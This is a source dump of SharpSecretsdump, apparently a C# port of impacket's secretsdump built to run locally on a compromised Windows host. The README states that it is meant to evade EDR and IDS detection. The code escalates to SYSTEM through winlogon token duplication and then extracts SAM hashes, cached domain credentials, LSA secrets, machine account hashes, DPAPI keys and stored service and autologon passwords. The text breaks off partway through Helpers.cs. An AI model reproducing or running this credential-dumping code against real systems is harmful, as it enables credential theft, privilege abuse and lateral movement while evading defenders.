├── .gitignore ├── README.md ├── SharpSecretsdump.sln └── SharpSecretsdump ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── SharpSecretsdump.csproj ├── app.config └── lib ├── Crypto.cs ├── Helpers.cs ├── Interop.cs ├── Kerberos ├── AesKey.cs ├── ArrayUtility.cs ├── CipherTextStealingMode.cs ├── ConstValue.cs ├── CryptoUtility.cs ├── DesKey.cs ├── KeyGenerator.cs └── Types.cs ├── LSADump.cs ├── LsaSecretBlob.cs └── NL_Record.cs /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | .DS_Store 8 | *.csproj.user 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpSecretsdump 2 | 3 | C# project used to mimic `secretsdump.py` from impacket but only to be run locally on hosts without relying on the remote registry service. Nowadays, most EDR, IDS or next gen firewalls can detect the use of impacket or remote use of the registry service. This project aims to lower the fingerprint of retriveing secrets stored in the hives of a compromised host. 4 | 5 | Most of the code used here is coming from these 2 project: 6 | * https://github.com/G0ldenGunSec/SharpSecDump 7 | * https://github.com/GhostPack/SharpDPAPI 8 | * https://github.com/microsoft/WindowsProtocolTestSuites/tree/03b3906b9745be72b1852f7ec6ac28ca838029b6 9 | 10 | ## Use 11 | 12 | SharpSecretsdump can be ran directly without any argument. 13 | It also can be ran by providing the `bootKey` as the first argument such as: 14 | 15 | ``` 16 | > sharp.exe bootkey 17 | ``` 18 | -------------------------------------------------------------------------------- /SharpSecretsdump.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.102 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSecretsdump", "SharpSecretsdump\SharpSecretsdump.csproj", "{FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {760d8018-04a0-4a2c-91c8-2132b96e3e46} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpSecretsdump/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpSecretsdump 4 | { 5 | class Program 6 | { 7 | static void Main(string[] args) 8 | { 9 | bool alreadySystem = false; 10 | 11 | if (!Helpers.IsHighIntegrity()) 12 | { 13 | Console.WriteLine("You need to be in high integrity to extract LSA secrets!"); 14 | return; 15 | } 16 | else 17 | { 18 | string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; 19 | bool isSytem = System.Security.Principal.WindowsIdentity.GetCurrent().IsSystem; 20 | 21 | if (isSytem) 22 | { 23 | alreadySystem = true; 24 | } 25 | else 26 | { 27 | // elevated but not system, so gotta GetSystem() first 28 | //Console.WriteLine("[*] Elevating to SYSTEM via token duplication for LSA secret retrieval"); 29 | if (Helpers.GetSystem() == false) 30 | { 31 | Console.WriteLine($"Failed to elevate: {currentName}"); 32 | return; 33 | } 34 | } 35 | } 36 | 37 | byte[] bootkey = null; 38 | if (args.Length == 1) 39 | { 40 | bootkey = Helpers.StringToByteArray(args[0].Replace("0x", "")); 41 | } 42 | else 43 | { 44 | bootkey = LSADump.GetBootKey(); 45 | } 46 | 47 | Console.WriteLine($"[*] Target system bootKey: 0x{Helpers.Hexlify(bootkey)}"); 48 | 49 | Helpers.GetSamAccounts(bootkey); 50 | Helpers.GetDefaultLogon(); 51 | Helpers.GetLsaSecrets(bootkey); 52 | 53 | if (!alreadySystem) 54 | { 55 | Interop.RevertToSelf(); 56 | } 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /SharpSecretsdump/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("SharpSecretsdump")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("Sharp")] 12 | [assembly: AssemblyCopyright("Copyright © 2022")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("517b876b-734f-4c08-96e4-f38d8028c1b7")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] 36 | -------------------------------------------------------------------------------- /SharpSecretsdump/SharpSecretsdump.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {FEA27C05-EEDA-43BF-A741-F4C5BDA284F0} 8 | Exe 9 | Properties 10 | SharpSecretsdump 11 | sharp 12 | v4.5.2 13 | 512 14 | false 15 | 16 | publish\ 17 | true 18 | Disk 19 | false 20 | Foreground 21 | 7 22 | Days 23 | false 24 | false 25 | true 26 | 0 27 | 1.0.0.%2a 28 | false 29 | true 30 | 31 | 32 | AnyCPU 33 | true 34 | full 35 | false 36 | bin\Debug\ 37 | prompt 38 | 4 39 | false 40 | 41 | 42 | AnyCPU 43 | none 44 | false 45 | bin\Release\ 46 | prompt 47 | 0 48 | false 49 | 50 | 51 | false 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | False 83 | .NET Framework 3.5 SP1 84 | true 85 | 86 | 87 | 88 | 89 | 90 | 91 | 98 | -------------------------------------------------------------------------------- /SharpSecretsdump/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Crypto.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Cryptography; 3 | using System.IO; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | 7 | namespace SharpSecretsdump 8 | { 9 | internal static class Crypto 10 | { 11 | public static byte[] LSAAESDecrypt(byte[] key, byte[] data) 12 | { 13 | var aesCryptoProvider = new AesManaged(); 14 | 15 | aesCryptoProvider.Key = key; 16 | aesCryptoProvider.IV = new byte[16]; 17 | aesCryptoProvider.Mode = CipherMode.CBC; 18 | aesCryptoProvider.BlockSize = 128; 19 | aesCryptoProvider.Padding = PaddingMode.Zeros; 20 | var transform = aesCryptoProvider.CreateDecryptor(); 21 | 22 | var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); 23 | var plaintext = new byte[chunks * 16]; 24 | 25 | for (var i = 0; i < chunks; ++i) 26 | { 27 | var offset = i * 16; 28 | var chunk = new byte[16]; 29 | Array.Copy(data, offset, chunk, 0, 16); 30 | 31 | var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); 32 | Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16); 33 | } 34 | 35 | return plaintext; 36 | } 37 | 38 | // https://rosettacode.org/wiki/MD4 39 | public static byte[] Md4Hash2(this byte[] input) 40 | { 41 | // get padded uints from bytes 42 | List bytes = input.ToList(); 43 | uint bitCount = (uint)(bytes.Count) * 8; 44 | bytes.Add(128); 45 | while (bytes.Count % 64 != 56) bytes.Add(0); 46 | var uints = new List(); 47 | for (int i = 0; i + 3 < bytes.Count; i += 4) 48 | uints.Add(bytes[i] | (uint)bytes[i + 1] << 8 | (uint)bytes[i + 2] << 16 | (uint)bytes[i + 3] << 24); 49 | uints.Add(bitCount); 50 | uints.Add(0); 51 | 52 | // run rounds 53 | uint a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476; 54 | Func rol = (x, y) => x << (int)y | x >> 32 - (int)y; 55 | for (int q = 0; q + 15 < uints.Count; q += 16) 56 | { 57 | var chunk = uints.GetRange(q, 16); 58 | uint aa = a, bb = b, cc = c, dd = d; 59 | Action, uint[]> round = (f, y) => 60 | { 61 | foreach (uint i in new[] { y[0], y[1], y[2], y[3] }) 62 | { 63 | a = rol(a + f(b, c, d) + chunk[(int)(i + y[4])] + y[12], y[8]); 64 | d = rol(d + f(a, b, c) + chunk[(int)(i + y[5])] + y[12], y[9]); 65 | c = rol(c + f(d, a, b) + chunk[(int)(i + y[6])] + y[12], y[10]); 66 | b = rol(b + f(c, d, a) + chunk[(int)(i + y[7])] + y[12], y[11]); 67 | } 68 | }; 69 | round((x, y, z) => (x & y) | (~x & z), new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 }); 70 | round((x, y, z) => (x & y) | (x & z) | (y & z), new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 }); 71 | round((x, y, z) => x ^ y ^ z, new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 }); 72 | a += aa; b += bb; c += cc; d += dd; 73 | } 74 | // return hex encoded string 75 | byte[] outBytes = new[] { a, b, c, d }.SelectMany(BitConverter.GetBytes).ToArray(); 76 | return outBytes; 77 | } 78 | 79 | public static byte[] LSASHA256Hash(byte[]key, byte[] rawData) 80 | { 81 | // yay 82 | using (var sha256Hash = SHA256.Create()) 83 | { 84 | var buffer = new byte[key.Length + (rawData.Length * 1000)]; 85 | Array.Copy(key, 0, buffer, 0, key.Length); 86 | for (var i = 0; i < 1000; ++i) 87 | { 88 | Array.Copy(rawData, 0, buffer, key.Length + (i * rawData.Length), rawData.Length); 89 | } 90 | return sha256Hash.ComputeHash(buffer); 91 | } 92 | } 93 | 94 | // https://stackoverflow.com/questions/7217627/is-there-anything-wrong-with-this-rc4-encryption-code-in-c-sharp 95 | internal static byte[] RC4Encrypt(byte[] pwd, byte[] data) 96 | { 97 | int a, i, j, k, tmp; 98 | int[] key, box; 99 | byte[] cipher; 100 | 101 | key = new int[256]; 102 | box = new int[256]; 103 | cipher = new byte[data.Length]; 104 | 105 | for (i = 0; i < 256; i++) 106 | { 107 | key[i] = pwd[i % pwd.Length]; 108 | box[i] = i; 109 | } 110 | for (j = i = 0; i < 256; i++) 111 | { 112 | j = (j + box[i] + key[i]) % 256; 113 | tmp = box[i]; 114 | box[i] = box[j]; 115 | box[j] = tmp; 116 | } 117 | for (a = j = i = 0; i < data.Length; i++) 118 | { 119 | a++; 120 | a %= 256; 121 | j += box[a]; 122 | j %= 256; 123 | tmp = box[a]; 124 | box[a] = box[j]; 125 | box[j] = tmp; 126 | k = box[((box[a] + box[j]) % 256)]; 127 | cipher[i] = (byte)(data[i] ^ k); 128 | } 129 | return cipher; 130 | } 131 | 132 | internal static byte[] DecryptAES_CBC(byte[] value, byte[] key, byte[] iv) 133 | { 134 | AesCryptoServiceProvider aes = new AesCryptoServiceProvider(); 135 | aes.BlockSize = 128; 136 | aes.Key = key; 137 | aes.Mode = CipherMode.CBC; 138 | aes.IV = iv; 139 | // you would think this would work to pad out the rest of the final block to 16, but it doesnt? ¯\_(ツ)_/¯ 140 | aes.Padding = PaddingMode.Zeros; 141 | 142 | int tailLength = value.Length % 16; 143 | if (tailLength != 0) 144 | { 145 | List manualPadding = new List(); 146 | for (int i = 16 - tailLength; i > 0; i--) 147 | { 148 | manualPadding.Add(0x00); 149 | } 150 | byte[] concat = new byte[value.Length + manualPadding.Count]; 151 | System.Buffer.BlockCopy(value, 0, concat, 0, value.Length); 152 | System.Buffer.BlockCopy(manualPadding.ToArray(), 0, concat, value.Length, manualPadding.Count); 153 | value = concat; 154 | } 155 | 156 | using (ICryptoTransform decrypt = aes.CreateDecryptor()) 157 | { 158 | byte[] dest = decrypt.TransformFinalBlock(value, 0, value.Length); 159 | return dest; 160 | } 161 | } 162 | 163 | internal static string DecryptSingleHash(byte[] obfuscatedHash, string user) 164 | { 165 | List key1 = new List(); 166 | List key2 = new List(); 167 | 168 | RidToKey(user, ref key1, ref key2); 169 | 170 | byte[] hashBytes1 = new byte[8]; 171 | byte[] hashBytes2 = new byte[8]; 172 | Buffer.BlockCopy(obfuscatedHash, 0, hashBytes1, 0, 8); 173 | Buffer.BlockCopy(obfuscatedHash, 8, hashBytes2, 0, 8); 174 | 175 | byte[] plain1 = DeObfuscateHashPart(hashBytes1, key1); 176 | byte[] plain2 = DeObfuscateHashPart(hashBytes2, key2); 177 | 178 | return (BitConverter.ToString(plain1) + BitConverter.ToString(plain2)); 179 | } 180 | 181 | // method from SidToKey - https://github.com/woanware/ForensicUserInfo/blob/master/Source/SamParser.cs 182 | private static void RidToKey(string hexRid, ref List key1, ref List key2) 183 | { 184 | int rid = Int32.Parse(hexRid, System.Globalization.NumberStyles.HexNumber); 185 | List temp1 = new List(); 186 | 187 | byte temp = (byte)(rid & 0xFF); 188 | temp1.Add(temp); 189 | 190 | temp = (byte)(((rid >> 8) & 0xFF)); 191 | temp1.Add(temp); 192 | 193 | temp = (byte)(((rid >> 16) & 0xFF)); 194 | temp1.Add(temp); 195 | 196 | temp = (byte)(((rid >> 24) & 0xFF)); 197 | temp1.Add(temp); 198 | 199 | temp1.Add(temp1[0]); 200 | temp1.Add(temp1[1]); 201 | temp1.Add(temp1[2]); 202 | 203 | List temp2 = new List(); 204 | temp2.Add(temp1[3]); 205 | temp2.Add(temp1[0]); 206 | temp2.Add(temp1[1]); 207 | temp2.Add(temp1[2]); 208 | 209 | temp2.Add(temp2[0]); 210 | temp2.Add(temp2[1]); 211 | temp2.Add(temp2[2]); 212 | 213 | key1 = TransformKey(temp1); 214 | key2 = TransformKey(temp2); 215 | } 216 | 217 | private static List TransformKey(List inputData) 218 | { 219 | List data = new List(); 220 | data.Add(Convert.ToByte(((inputData[0] >> 1) & 0x7f) << 1)); 221 | data.Add(Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1)); 222 | data.Add(Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1)); 223 | data.Add(Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) << 1)); 224 | data.Add(Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1)); 225 | data.Add(Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1)); 226 | data.Add(Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1)); 227 | data.Add(Convert.ToByte((inputData[6] & 0x7f) << 1)); 228 | return data; 229 | } 230 | 231 | //from https://github.com/woanware/ForensicUserInfo/blob/master/Source/SamParser.cs 232 | private static byte[] DeObfuscateHashPart(byte[] obfuscatedHash, List key) 233 | { 234 | DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider(); 235 | cryptoProvider.Padding = PaddingMode.None; 236 | cryptoProvider.Mode = CipherMode.ECB; 237 | ICryptoTransform transform = cryptoProvider.CreateDecryptor(key.ToArray(), new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 }); 238 | MemoryStream memoryStream = new MemoryStream(obfuscatedHash); 239 | CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read); 240 | byte[] plainTextBytes = new byte[obfuscatedHash.Length]; 241 | int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length); 242 | return plainTextBytes; 243 | } 244 | } 245 | } 246 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Helpers.cs: -------------------------------------------------------------------------------- 1 | using SharpSecretsdump.lib.Kerberos; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.ComponentModel; 5 | using System.Diagnostics; 6 | using System.Linq; 7 | using System.Runtime.InteropServices; 8 | using System.Security.Cryptography; 9 | using System.Security.Principal; 10 | using System.Text; 11 | 12 | namespace SharpSecretsdump 13 | { 14 | public static class Helpers 15 | { 16 | public static bool GetSystem() 17 | { 18 | // helper to elevate to SYSTEM via token impersonation 19 | // used for LSA secret (DPAPI_SYSTEM) retrieval 20 | if (IsHighIntegrity()) 21 | { 22 | IntPtr hToken = IntPtr.Zero; 23 | 24 | // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken 25 | Process[] processes = Process.GetProcessesByName("winlogon"); 26 | IntPtr handle = processes[0].Handle; 27 | 28 | // TOKEN_DUPLICATE = 0x0002 29 | bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken); 30 | if (!success) 31 | { 32 | //Console.WriteLine("OpenProcessToken failed!"); 33 | return false; 34 | } 35 | 36 | // make a copy of the NT AUTHORITY\SYSTEM token from winlogon 37 | // 2 == SecurityImpersonation 38 | IntPtr hDupToken = IntPtr.Zero; 39 | success = Interop.DuplicateToken(hToken, 2, ref hDupToken); 40 | if (!success) 41 | { 42 | //Console.WriteLine("DuplicateToken failed!"); 43 | return false; 44 | } 45 | 46 | success = Interop.ImpersonateLoggedOnUser(hDupToken); 47 | if (!success) 48 | { 49 | //Console.WriteLine("ImpersonateLoggedOnUser failed!"); 50 | return false; 51 | } 52 | 53 | // clean up the handles we created 54 | Interop.CloseHandle(hToken); 55 | Interop.CloseHandle(hDupToken); 56 | 57 | bool isSystem = System.Security.Principal.WindowsIdentity.GetCurrent().IsSystem; 58 | if (!isSystem) 59 | { 60 | return false; 61 | } 62 | 63 | return true; 64 | } 65 | else 66 | { 67 | return false; 68 | } 69 | } 70 | 71 | public static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal) 72 | { 73 | byte[] domainData = fVal.Skip(104).ToArray(); 74 | byte[] hashedBootKey; 75 | 76 | //old style hashed bootkey storage 77 | if (domainData[0].Equals(0x01)) 78 | { 79 | byte[] f70 = fVal.Skip(112).Take(16).ToArray(); 80 | List data = new List(); 81 | data.AddRange(f70); 82 | data.AddRange(Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0")); 83 | data.AddRange(bootKey); 84 | data.AddRange(Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0")); 85 | byte[] md5 = MD5.Create().ComputeHash(data.ToArray()); 86 | byte[] f80 = fVal.Skip(128).Take(32).ToArray(); 87 | hashedBootKey = Crypto.RC4Encrypt(md5, f80); 88 | } 89 | 90 | //new version of storage -- Win 2016 / Win 10 (potentially Win 2012) and above 91 | else if (domainData[0].Equals(0x02)) 92 | { 93 | byte[] sk_Salt_AES = domainData.Skip(16).Take(16).ToArray(); 94 | int sk_Data_Length = BitConverter.ToInt32(domainData, 12); 95 | // int offset = BitConverter.ToInt32(v,12) + 204; 96 | byte[] sk_Data_AES = domainData.Skip(32).Take(sk_Data_Length).ToArray(); 97 | hashedBootKey = Crypto.DecryptAES_CBC(sk_Data_AES, bootKey, sk_Salt_AES); 98 | } 99 | else 100 | { 101 | Console.WriteLine("[-] Error parsing hashed bootkey"); 102 | return null; 103 | } 104 | return hashedBootKey; 105 | } 106 | 107 | public static void GetDefaultLogon() 108 | { 109 | string key = "Winlogon"; 110 | byte[] usernameArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" + key, "DefaultUserName", true); 111 | byte[] domainArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" + key, "DefaultDomainName", true); 112 | byte[] passwordArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" + key, "DefaultPassword", true); 113 | string username; 114 | if (usernameArr != null) 115 | { 116 | username = Encoding.ASCII.GetString(usernameArr); 117 | username = username.Remove(username.Length - 1); 118 | } 119 | else 120 | { 121 | username = "(Unkown User)"; 122 | } 123 | if (domainArr != null) 124 | { 125 | string domain = Encoding.ASCII.GetString(domainArr); 126 | domain = domain.Remove(domain.Length - 1); 127 | username = $"{domain}\\{username}"; 128 | } 129 | if (usernameArr != null && passwordArr != null) 130 | { 131 | Console.WriteLine("[*] DEFAULTPASSWORD"); 132 | string password = Encoding.ASCII.GetString(passwordArr); 133 | password = password.Remove(password.Length - 1); 134 | Console.WriteLine($"{username}:{password}"); 135 | } 136 | } 137 | 138 | public static void GetLsaSecrets(byte[] bootKey) 139 | { 140 | try 141 | { 142 | byte[] decryptedLsaKey = LSADump.GetLSAKey(bootKey); 143 | 144 | //get NLKM Secret 145 | byte[] nlkmKey = LSADump.GetLSASecret("NL$KM", decryptedLsaKey); 146 | 147 | IntPtr hKey = IntPtr.Zero; 148 | IntPtr dummy = IntPtr.Zero; 149 | String keyPath = "SECURITY\\Cache"; 150 | int len = 1024; 151 | int result; 152 | StringBuilder classVal = new StringBuilder(1024); 153 | IntPtr number = IntPtr.Zero; 154 | 155 | if (nlkmKey != null && nlkmKey.Length > 0) 156 | { 157 | result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey); 158 | if (result != 0) 159 | { 160 | string errorMessage = new Win32Exception((int)result).Message; 161 | Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, result, errorMessage); 162 | } 163 | result = Interop.RegQueryInfoKey(hKey, classVal, ref len, 0, ref dummy, ref dummy, ref dummy, 164 | ref number, ref dummy, ref dummy, ref dummy, IntPtr.Zero); 165 | if (result != 0) 166 | { 167 | string errorMessage = new Win32Exception((int)result).Message; 168 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 169 | } 170 | 171 | Console.WriteLine("[*] Dumping cached domain logon information (domain/username:hash)"); 172 | byte[] data; 173 | string valueName; 174 | for (int i = 0; i < number.ToInt32(); i++) 175 | { 176 | len = 255; 177 | classVal = new StringBuilder(len); 178 | dummy = IntPtr.Zero; 179 | result = Interop.RegEnumValue(hKey, i, classVal, ref len, 0, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); 180 | if (result != 0) 181 | { 182 | string errorMessage = new Win32Exception((int)result).Message; 183 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 184 | return; 185 | } 186 | 187 | valueName = classVal.ToString(); 188 | data = GetRegKeyValue(keyPath, valueName); 189 | 190 | if (string.Compare(valueName, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 191 | && !IsZeroes(data.Take(16).ToArray())) 192 | { 193 | NL_Record cachedUser = new NL_Record(data); 194 | byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV); 195 | byte[] hashedPW = plaintext.Take(16).ToArray(); 196 | string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray()); 197 | string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) 198 | + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray()); 199 | domain = domain.Replace("\0", ""); 200 | Console.WriteLine(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}: ({4})", domain, 201 | username, username, Hexlify(hashedPW), 202 | cachedUser.lastWrite.ToString("yyyy-MM-dd HH:mm:ss"))); 203 | } 204 | } 205 | } 206 | 207 | Interop.RegCloseKey(hKey); 208 | 209 | try 210 | { 211 | Console.WriteLine("[*] Dumping LSA Secrets"); 212 | keyPath = "SECURITY\\Policy\\Secrets"; 213 | classVal = new StringBuilder(1024); 214 | len = 1024; 215 | result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey); 216 | if (result != 0) 217 | { 218 | string errorMessage = new Win32Exception((int)result).Message; 219 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 220 | return; 221 | } 222 | number = IntPtr.Zero; 223 | result = Interop.RegQueryInfoKey(hKey, classVal, ref len, 0, ref number, ref dummy, ref dummy, 224 | ref dummy, ref dummy, ref dummy, ref dummy, IntPtr.Zero); 225 | if (result != 0) 226 | { 227 | string errorMessage = new Win32Exception((int)result).Message; 228 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 229 | return; 230 | } 231 | 232 | for (int i = 0; i < number.ToInt32(); i++) 233 | { 234 | len = 255; 235 | result = Interop.RegEnumKeyEx(hKey, i, classVal, ref len, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref dummy); 236 | if (result != 0) 237 | { 238 | string errorMessage = new Win32Exception((int)result).Message; 239 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 240 | return; 241 | } 242 | 243 | string secret = classVal.ToString(); 244 | 245 | if (string.Compare(secret, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0) 246 | { 247 | if (string.Compare(secret, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0) 248 | { 249 | LsaSecretBlob secretBlob = new LsaSecretBlob(LSADump.GetLSASecret(secret, decryptedLsaKey)); 250 | if (secretBlob.length > 0) 251 | { 252 | Console.WriteLine($"[*] {secret}"); 253 | if (secret.ToUpper().StartsWith("$MACHINE.ACC")) 254 | { 255 | string computerAcctHash = Hexlify(Crypto.Md4Hash2(secretBlob.secret)); 256 | string domainName = Encoding.ASCII.GetString(GetRegKeyValue("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", "Domain")).Trim('\0').ToUpper(); 257 | string computerName = Encoding.ASCII.GetString(GetRegKeyValue("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", "Hostname")).Trim('\0'); 258 | 259 | PrintMachineKerberos(secretBlob.secret, domainName, computerName); 260 | 261 | Console.WriteLine(string.Format("{0}\\{1}$:plain_password_hex:{2}", domainName, computerName, Hexlify(secretBlob.secret))); 262 | Console.WriteLine(string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}:::", domainName, computerName, computerAcctHash)); 263 | } 264 | else if (secret.ToUpper().StartsWith("DPAPI")) 265 | { 266 | Console.WriteLine("dpapi_machinekey:0x" + Hexlify(secretBlob.secret.Skip(4).Take(20).ToArray())); 267 | Console.WriteLine("dpapi_userkey:0x" + Hexlify(secretBlob.secret.Skip(24).Take(20).ToArray())); 268 | } 269 | else if (secret.ToUpper().StartsWith("_SC_")) 270 | { 271 | var startName = GetRegKeyValue($"SYSTEM\\ControlSet001\\Services\\{secret.Substring(4)}", "ObjectName", true); 272 | // smsa account seems to have no value in services 273 | if (startName != null) 274 | { 275 | secret = Encoding.ASCII.GetString(startName).Trim('\0'); 276 | } 277 | string pw; 278 | try 279 | { 280 | Encoding encod = Encoding.GetEncoding(UnicodeEncoding.Unicode.CodePage, EncoderFallback.ExceptionFallback, DecoderFallback.ExceptionFallback); 281 | pw = encod.GetString(secretBlob.secret); 282 | } 283 | catch (Exception e) 284 | { 285 | pw = Hexlify(secretBlob.secret); 286 | } 287 | Console.WriteLine($"{secret}:{pw}"); 288 | } 289 | else if (secret.ToUpper().StartsWith("ASPNET_WP_PASSWORD")) 290 | { 291 | Console.WriteLine($"ASPNET:{Encoding.Unicode.GetString(secretBlob.secret)}"); 292 | } 293 | else if (secret.ToUpper().StartsWith("DEFAULTPASSWORD")) 294 | { 295 | byte[] usernameArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName", true); 296 | byte[] domainArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName", true); 297 | byte[] passwordArr = GetRegKeyValue("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword", true); 298 | string username; 299 | if (usernameArr != null) 300 | { 301 | username = Encoding.ASCII.GetString(usernameArr); 302 | username = username.Remove(username.Length - 1); 303 | } 304 | else 305 | { 306 | username = "(Unkown User)"; 307 | } 308 | if (domainArr != null) 309 | { 310 | string domain = Encoding.ASCII.GetString(domainArr); 311 | domain = domain.Remove(domain.Length - 1); 312 | username = $"{domain}\\{username}"; 313 | } 314 | Console.WriteLine($"{username}:{Encoding.Unicode.GetString(secretBlob.secret)}"); 315 | // For some reason password can be also defined in Winlogon 316 | if (passwordArr != null) 317 | { 318 | string password = Encoding.ASCII.GetString(passwordArr); 319 | password = password.Remove(password.Length - 1); 320 | 